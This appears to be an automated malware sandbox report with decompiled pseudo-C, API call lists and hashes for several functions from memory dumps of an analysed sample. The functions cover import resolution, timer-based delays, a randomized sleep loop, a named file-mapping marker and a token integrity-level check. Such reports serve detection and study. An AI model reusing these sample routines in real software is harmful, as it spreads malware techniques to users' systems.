Part of subcall function 0173163F: StrStrIW.SHLWAPI(?,006E0069), ref: 01731741

Part of subcall function 01739039: HeapFree.KERNEL32(00000000,00000000,01737F18,00000000,?,?,00000000), ref: 01739045

HeapFree.KERNEL32(00000000,?,?), ref: 01738E3D
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 01738E49
RtlFreeHeap.NTDLL(00000000,?,?,03DC95B0), ref: 01738E55
HeapFree.KERNEL32(00000000,?), ref: 01738E61
RtlFreeHeap.NTDLL(00000000,?), ref: 01738E6D

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$lstrlen$lstrcatwsprintf$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateEnterInterface_LeaveProxyQueryStringUnknown_mbstowcsmemsetstrcpywcstombs
String ID:
API String ID: 603507560-0
Opcode ID: 7ec8d836be7fdb04677170c3d719706a9ab32daf3d0e460e0753ba5d4325ba1c
Instruction ID: 8dc48d309bdfc15218b9bd073f3710b40b65e8b1748b7418fd41dff4cc2f6555
Opcode Fuzzy Hash: 7ec8d836be7fdb04677170c3d719706a9ab32daf3d0e460e0753ba5d4325ba1c
Instruction Fuzzy Hash: 6D919B71900209EFCB21DFA8DC88E9EBBB9EF88361F148055F908E7265DB31D951DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0173ADE5, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E0173ADE5(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x1730000;
				_t115 = _t139[3] + 0x1730000;
				_t131 = _t139[4] + 0x1730000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x1730000;
				_v16 = _t139[5] + 0x1730000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x1730002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x173d1a0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x173d1a0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x173d1a0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x173d19c; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x173d1a0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x173d198; // 0x0
										 *_t102 = _t125;
										 *0x173d198 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x173d19c; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}

0x0173adf4
0x0173ae0a
0x0173ae10
0x0173ae12
0x0173ae17
0x0173ae1d
0x0173ae22
0x0173ae25
0x0173ae33
0x0173ae3a
0x0173ae3d
0x0173ae40
0x0173ae41
0x0173ae44
0x0173ae47
0x0173ae4a
0x0173ae4f
0x0173ae5e
0x00000000
0x0173ae64
0x0173ae6e
0x0173ae78
0x0173ae7d
0x0173ae7f
0x0173ae89
0x0173ae8c
0x0173ae8f
0x0173ae95
0x0173ae97
0x0173ae97
0x0173ae9a
0x0173ae9d
0x0173aea2
0x0173aea6
0x0173aeb9
0x0173aebb
0x0173af63
0x0173af63
0x0173af6a
0x0173af6d
0x0173af77
0x0173af77
0x0173af7b
0x0173aff9
0x0173affc
0x0173affe
0x0173affe
0x0173b005
0x0173b007
0x0173b011
0x0173b014
0x0173b017
0x0173b017
0x00000000
0x0173af7d
0x0173af80
0x0173afae
0x0173afb8
0x0173afbc
0x0173afc4
0x0173afc7
0x0173afce
0x0173afd8
0x0173afd8
0x0173afdc
0x0173afe1
0x0173aff0
0x0173aff6
0x0173aff6
0x0173afdc
0x00000000
0x0173af87
0x0173af8a
0x0173af92
0x0173afa7
0x0173afac
0x00000000
0x00000000
0x0173afac
0x00000000
0x0173af92
0x0173af80
0x0173af7b
0x0173aec1
0x0173aec8
0x0173aed8
0x0173aedb
0x0173aee1
0x0173aee5
0x0173af28
0x0173af34
0x0173af5d
0x0173af36
0x0173af3a
0x0173af40
0x0173af48
0x0173af4a
0x0173af4d
0x0173af53
0x0173af55
0x0173af55
0x0173af48
0x0173af3a
0x00000000
0x0173af34
0x0173aeed
0x0173aef0
0x0173aef7
0x0173af07
0x0173af0a
0x0173af1a
0x00000000
0x0173af20
0x0173af01
0x0173af05
0x00000000
0x00000000
0x00000000
0x0173af05
0x0173aed2
0x0173aed6
0x00000000
0x00000000
0x00000000
0x0173aed6
0x0173aeaf
0x0173aeb3
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0173AE5E
LoadLibraryA.KERNELBASE(?), ref: 0173AEDB
GetLastError.KERNEL32 ref: 0173AEE7
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 0173AF1A

Strings

$, xrefs: 0173AE33

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $
API String ID: 948315288-3993045852
Opcode ID: 1821897ae3cec841ec9076cf0d40d07384711fe4541f68b7a9d1155e65f36bb0
Instruction ID: ad47fdb7838eea6de6d11bc4f5962cbef45512da2079bc1ebcf25031ed173303
Opcode Fuzzy Hash: 1821897ae3cec841ec9076cf0d40d07384711fe4541f68b7a9d1155e65f36bb0
Instruction Fuzzy Hash: D0813DB5A00206AFDB21CF98D985AAEF7F5FF88311F14812AE545E7282E770E945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01736786, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E01736786(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				struct %anon52 _v8;
				long _v12;
				char _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v32;
				union _LARGE_INTEGER _v36;
				intOrPtr _v40;
				void* _v44;
				void _v88;
				char _v92;
				struct %anon52 _t46;
				intOrPtr _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t60;
				long _t64;
				signed int _t65;
				void* _t68;
				void* _t70;
				signed int _t71;
				intOrPtr _t73;
				intOrPtr _t76;
				void** _t78;
				void* _t80;

				_t73 = __edx;
				_v92 = 0;
				memset( &_v88, 0, 0x2c);
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v44 = _t46;
				if(_t46 == 0) {
					_v8.LowPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x173d240);
					_v20 = 0;
					_v16 = 0;
					L0173B0C8();
					_v36.LowPart = _t46;
					_v32 = _t73;
					SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0);
					_t51 =  *0x173d26c; // 0x200
					_v40 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
					_v8.LowPart = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x173d24c = 5;
						} else {
							_t68 = E017373FD(_t73); // executed
							if(_t68 != 0) {
								goto L4;
							}
						}
						_v12 = 0;
						L6:
						L6:
						if(_v12 == 1 && ( *0x173d260 & 0x00000001) == 0) {
							_v12 = 2;
						}
						_t71 = _v12;
						_t58 = _t71 << 4;
						_t76 = _t80 + (_t71 << 4) - 0x54;
						_t72 = _t71 + 1;
						_v24 = _t71 + 1;
						_t60 = E01738504(_t72, _t72, _t80 + _t58 - 0x58, _t76,  &_v20,  &_v16); // executed
						_v8.LowPart = _t60;
						if(_t60 != 0) {
							goto L17;
						}
						_t65 = _v24;
						_t90 = _t65 - 3;
						_v12 = _t65;
						if(_t65 != 3) {
							goto L6;
						} else {
							_v8.LowPart = E01733BF1(_t72, _t90,  &_v92, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t60 - 0x10d2;
						if(_t60 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x173d244);
							goto L21;
						} else {
							__eflags =  *0x173d248; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t60 = E0173A1B0();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x173d248);
								L21:
								L0173B0C8();
								_v36.LowPart = _t60;
								_v32 = _t76;
								SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0); // executed
								_t64 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
								__eflags = _t64;
								_v8.LowPart = _t64;
								if(_t64 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t78 =  &_v92;
					_t70 = 3;
					do {
						_t54 =  *_t78;
						if(_t54 != 0) {
							HeapFree( *0x173d238, 0, _t54);
						}
						_t78 =  &(_t78[4]);
						_t70 = _t70 - 1;
					} while (_t70 != 0);
					CloseHandle(_v44);
				}
				return _v8;
				goto L25;
			}

0x01736786
0x01736798
0x0173679b
0x017367a7
0x017367af
0x017367b2
0x01736919
0x017367b8
0x017367b8
0x017367ba
0x017367bf
0x017367c0
0x017367c6
0x017367c9
0x017367cc
0x017367da
0x017367e5
0x017367e8
0x017367ea
0x017367f7
0x01736801
0x01736805
0x01736808
0x0173680d
0x01736818
0x01736818
0x0173680f
0x0173680f
0x01736816
0x00000000
0x00000000
0x01736816
0x01736822
0x00000000
0x01736825
0x01736829
0x01736834
0x01736834
0x0173683b
0x01736844
0x0173684b
0x01736854
0x01736857
0x0173685a
0x01736861
0x01736864
0x00000000
0x00000000
0x01736866
0x01736869
0x0173686c
0x0173686f
0x00000000
0x01736871
0x01736880
0x01736880
0x00000000
0x017368ae
0x017368ae
0x017368b3
0x017368d2
0x017368d4
0x017368d9
0x017368da
0x00000000
0x017368b5
0x017368b5
0x017368bb
0x00000000
0x017368bd
0x017368bd
0x017368c2
0x017368c4
0x017368c9
0x017368ca
0x017368e0
0x017368e0
0x017368e8
0x017368f3
0x017368f6
0x01736901
0x01736903
0x01736905
0x01736908
0x00000000
0x0173690e
0x00000000
0x0173690e
0x01736908
0x017368bb
0x00000000
0x017368b3
0x01736883
0x01736885
0x01736888
0x01736889
0x01736889
0x0173688d
0x01736897
0x01736897
0x0173689d
0x017368a0
0x017368a0
0x017368a6
0x017368a6
0x01736923
0x00000000

APIs

memset.NTDLL ref: 0173679B
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 017367A7
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 017367CC
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 017367E8
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 01736801
HeapFree.KERNEL32(00000000,00000000), ref: 01736897
CloseHandle.KERNEL32(?), ref: 017368A6
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 017368E0
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,01732417,?), ref: 017368F6
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 01736901

Part of subcall function 017373FD: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,03DC9388,00000000,?,7519F710,00000000,7519F730), ref: 0173744C
Part of subcall function 017373FD: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,03DC93C0,?,00000000,30314549,00000014,004F0053,03DC937C), ref: 017374E9
Part of subcall function 017373FD: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,01736814), ref: 017374FB

GetLastError.KERNEL32 ref: 01736913

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: add392332873a46bb5d2bd4c8b617c5efb098d855a2d53411535c6da566033ac
Instruction ID: 2c3a00ae5325025a3b059bfa32b0e4f2182aae0844689729f647f1938bf5d9f3
Opcode Fuzzy Hash: add392332873a46bb5d2bd4c8b617c5efb098d855a2d53411535c6da566033ac
Instruction Fuzzy Hash: 22513CB1805229BADF219FD8DC489EEFFB8EF89721F208116F915B2195D7709644CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000163F, Relevance: 15.1, APIs: 10, Instructions: 98
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E1000163F(char _a4) {
				long _v8;
				struct _SYSTEMTIME _v24;
				char _v48;
				void* __edi;
				long _t20;
				int _t22;
				long _t25;
				long _t26;
				long _t30;
				void* _t36;
				intOrPtr _t38;
				intOrPtr _t43;
				signed int _t44;
				void* _t48;
				signed int _t51;
				void* _t54;
				intOrPtr* _t55;

				_t20 = E10001850();
				_v8 = _t20;
				if(_t20 != 0) {
					return _t20;
				}
				do {
					GetSystemTime( &_v24);
					_t22 = SwitchToThread();
					asm("cdq");
					_t44 = 9;
					_t51 = _t22 + (_v24.wMilliseconds & 0x0000ffff) % _t44;
					_t25 = E100018F4(0, _t51); // executed
					_v8 = _t25;
					Sleep(_t51 << 5); // executed
					_t26 = _v8;
				} while (_t26 == 0xc);
				if(_t26 != 0) {
					L18:
					return _t26;
				}
				if(_a4 != 0) {
					L11:
					_push(0);
					_t54 = E100012DC(E1000135A,  &_v48);
					if(_t54 == 0) {
						_v8 = GetLastError();
					} else {
						_t30 = WaitForSingleObject(_t54, 0xffffffff);
						_v8 = _t30;
						if(_t30 == 0) {
							GetExitCodeThread(_t54,  &_v8);
						}
						CloseHandle(_t54);
					}
					_t26 = _v8;
					if(_t26 == 0xffffffff) {
						_t26 = GetLastError();
					}
					goto L18;
				}
				if(E10001538(_t44,  &_a4) != 0) {
					 *0x10004138 = 0;
					goto L11;
				}
				_t43 = _a4;
				_t55 = __imp__GetLongPathNameW;
				_t36 =  *_t55(_t43, 0, 0); // executed
				_t48 = _t36;
				if(_t48 == 0) {
					L9:
					 *0x10004138 = _t43;
					goto L11;
				}
				_t14 = _t48 + 2; // 0x2
				_t38 = E10001DE1(_t48 + _t14);
				 *0x10004138 = _t38;
				if(_t38 == 0) {
					goto L9;
				}
				 *_t55(_t43, _t38, _t48); // executed
				E10001DFC(_t43);
				goto L11;
			}

0x10001646
0x1000164f
0x10001652
0x10001742
0x10001742
0x10001659
0x1000165d
0x10001663
0x10001671
0x10001672
0x10001675
0x10001678
0x10001681
0x10001684
0x1000168a
0x1000168d
0x10001694
0x1000173f
0x00000000
0x1000173f
0x1000169e
0x100016ef
0x100016ef
0x10001705
0x1000170a
0x10001732
0x1000170c
0x1000170f
0x10001717
0x1000171a
0x10001721
0x10001721
0x10001728
0x10001728
0x10001735
0x1000173b
0x1000173d
0x1000173d
0x00000000
0x1000173b
0x100016ab
0x100016e9
0x00000000
0x100016e9
0x100016ad
0x100016b0
0x100016b9
0x100016bb
0x100016bf
0x100016e1
0x100016e1
0x00000000
0x100016e1
0x100016c1
0x100016c6
0x100016cd
0x100016d2
0x00000000
0x00000000
0x100016d7
0x100016da
0x00000000

APIs

Part of subcall function 10001850: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,1000164B,751463F0), ref: 1000185F
Part of subcall function 10001850: GetVersion.KERNEL32 ref: 1000186E
Part of subcall function 10001850: GetCurrentProcessId.KERNEL32 ref: 10001885
Part of subcall function 10001850: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 1000189E

GetSystemTime.KERNEL32(?,00000000,751463F0), ref: 1000165D
SwitchToThread.KERNEL32 ref: 10001663

Part of subcall function 100018F4: VirtualAlloc.KERNELBASE(00000000,1000167D,00003000,00000004,?,?,1000167D,00000000), ref: 1000194A
Part of subcall function 100018F4: memcpy.NTDLL(?,?,1000167D,?,?,1000167D,00000000), ref: 100019DC
Part of subcall function 100018F4: VirtualFree.KERNELBASE(?,00000000,00008000,?,?,1000167D,00000000), ref: 100019F7

Sleep.KERNELBASE(00000000,00000000), ref: 10001684
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 100016B9
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 100016D7
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000), ref: 1000170F
GetExitCodeThread.KERNEL32(00000000,?), ref: 10001721
CloseHandle.KERNEL32(00000000), ref: 10001728
GetLastError.KERNEL32(?,00000000), ref: 10001730
GetLastError.KERNEL32 ref: 1000173D

Memory Dump Source

Source File: 00000000.00000002.501295929.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.501284605.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.501314538.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLastLongNamePathProcessThreadVirtual$AllocCloseCodeCreateCurrentEventExitFreeHandleObjectOpenSingleSleepSwitchSystemTimeVersionWaitmemcpy
String ID:
API String ID: 2280543912-0
Opcode ID: 1d94a8f484d99c584117039eeacf9866d0a4ad351db0f72dece7264e9d25b94c
Instruction ID: 51f1b5d7b5d62603e0b6ca74e6a4c687eacd357270907eacbd85172d1a2e8795
Opcode Fuzzy Hash: 1d94a8f484d99c584117039eeacf9866d0a4ad351db0f72dece7264e9d25b94c
Instruction Fuzzy Hash: 2D318F76901225ABE711EBA58C849DF77FDEF843D0B124226F914D3148EB34DB40DB60

Uniqueness

Uniqueness Score: -1.00%

Function 01731B2F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E01731B2F(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L0173B0C2();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x173d27c; // 0x268a5a8
				_t5 = _t13 + 0x173e862; // 0x3dc8e0a
				_t6 = _t13 + 0x173e59c; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L0173AD5A();
				_t17 = CreateFileMappingW(0xffffffff, 0x173d2a8, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x01731b2f
0x01731b37
0x01731b3b
0x01731b41
0x01731b46
0x01731b4b
0x01731b4e
0x01731b51
0x01731b56
0x01731b57
0x01731b5a
0x01731b5f
0x01731b66
0x01731b70
0x01731b72
0x01731b73
0x01731b76
0x01731b92
0x01731b98
0x01731b9c
0x01731bea
0x01731b9e
0x01731bab
0x01731bbb
0x01731bc3
0x01731bd5
0x01731bd9
0x00000000
0x00000000
0x01731bc5
0x01731bc8
0x01731bcd
0x01731bcf
0x01731bcf
0x01731bad
0x01731baf
0x01731bdb
0x01731bdc
0x01731bdc
0x01731bab
0x01731bf1

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,017322EA,?,?,4D283A53,?,?), ref: 01731B3B
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 01731B51
_snwprintf.NTDLL ref: 01731B76
CreateFileMappingW.KERNELBASE(000000FF,0173D2A8,00000004,00000000,00001000,?), ref: 01731B92
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,017322EA,?,?,4D283A53), ref: 01731BA4
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 01731BBB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,017322EA,?,?), ref: 01731BDC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,017322EA,?,?,4D283A53), ref: 01731BE4

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: 7b9a300f08334ffeabb3abe4349dbfcb32ecc37594815add541d5d2c9cb7c4f6
Instruction ID: 831f135e574cec2c72edc9d4b96635f8b2f531f54a2d68e12ff598345b885c78
Opcode Fuzzy Hash: 7b9a300f08334ffeabb3abe4349dbfcb32ecc37594815add541d5d2c9cb7c4f6
Instruction Fuzzy Hash: 3921D576640204BBD7259FA8DC09F8ABBB9AB89761F108162F605E7195EB7095048B60

Uniqueness

Uniqueness Score: -1.00%

Function 0173924F, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0173924F(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x173d25c > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E01732049(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E01739039(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x0173925c
0x01739263
0x0173926a
0x0173927e
0x01739289
0x017392a1
0x017392ae
0x017392b1
0x017392b6
0x017392c1
0x017392c5
0x017392d4
0x017392d8
0x017392f4
0x017392f4
0x017392f8
0x017392f8
0x017392fd
0x01739301
0x01739307
0x01739308
0x0173930f
0x01739315

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 01739281
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 017392A1
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 017392B1
CloseHandle.KERNEL32(00000000), ref: 01739301

Part of subcall function 01732049: RtlAllocateHeap.NTDLL(00000000,00000000,01737E50), ref: 01732055

GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 017392D4
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 017392DC
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 017392EC

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: 49c773a825503a9db2148d21718987ebe46905e8d1747572f0401706f0f5d4f0
Instruction ID: 6a64712eb562ec259c172959cf189293965e342b241a19152f0c746b0cd2b296
Opcode Fuzzy Hash: 49c773a825503a9db2148d21718987ebe46905e8d1747572f0401706f0f5d4f0
Instruction Fuzzy Hash: 93215C7590421DFFEB219FA4DD84EEEFB79EB44314F004066EA11A2291D7718A05EF60

Uniqueness

Uniqueness Score: -1.00%

Function 0173163F, Relevance: 9.2, APIs: 6, Instructions: 152memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 01731680
IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 01731702
StrStrIW.SHLWAPI(?,006E0069), ref: 01731741
SysFreeString.OLEAUT32(?), ref: 01731763

Part of subcall function 017352F9: SysAllocString.OLEAUT32(0173C2B0), ref: 01735349

SafeArrayDestroy.OLEAUT32(?), ref: 017317B7
SysFreeString.OLEAUT32(?), ref: 017317C5

Part of subcall function 01732436: Sleep.KERNELBASE(000001F4), ref: 0173247E

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$ArrayDestroyInterface_ProxyQuerySafeSleepUnknown_
String ID:
API String ID: 2118684380-0
Opcode ID: de058c3b1136cbef67fed5916fd577b7202869c7ceb046d22ac8c0348d0491ba
Instruction ID: 79ee270d8da04e251ed9a046474f63f8350d7cf070d5bf1b76ef4768ff66e17e
